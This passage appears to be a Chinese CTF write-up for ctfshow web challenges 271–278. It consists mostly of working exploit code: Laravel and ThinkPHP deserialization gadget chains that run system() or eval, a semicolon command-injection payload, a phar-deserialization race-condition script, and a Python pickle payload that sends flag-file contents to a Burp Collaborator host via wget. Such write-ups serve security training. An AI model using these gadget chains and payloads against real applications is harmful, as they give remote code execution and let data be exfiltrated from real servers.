protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cp /f* 1.txt')); //此处执行命令
echo urlencode(serialize($pendingcommand));
}
web272、273
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>"; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
web274
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
web275
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);//此处可以用分号来截断
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){//防止该题利用文件上传做
file_put_contents($_GET['fn'], $content);//写入操作
copy($_GET['fn'],md5(mt_rand()).'.txt');//将文件进行改名操作
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除当前目录下由你编辑的文件
echo 'work done';
}
}else{
echo 'where is flag?';
}
令filename=1.php;cat f*
payload:
?fn=php%3bcat flag.php
web276
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
需要用phar文件,因为没有反序列化的点,无法让admin的值为true,而这里正好存在file_put_contents
函数就可以用phar:
尝试一下写入文件
生成yn.phar文件:
<?php
class filter{
public $filename="1.txt;cat f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();
$phar = new Phar("yn.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
python竞争脚本:
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./yn.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
requests.post(url=url+"?fn=1.phar",data=content)
def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
web278
利用burp的Collaborator client
外带
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.popen, ('wget z994qip2ejzbdjrvv9c5hfl68xen2c.burpcollaborator.net?a=`cat fla*`',))
print(base64.b64encode(pickle.dumps(RunCmd())))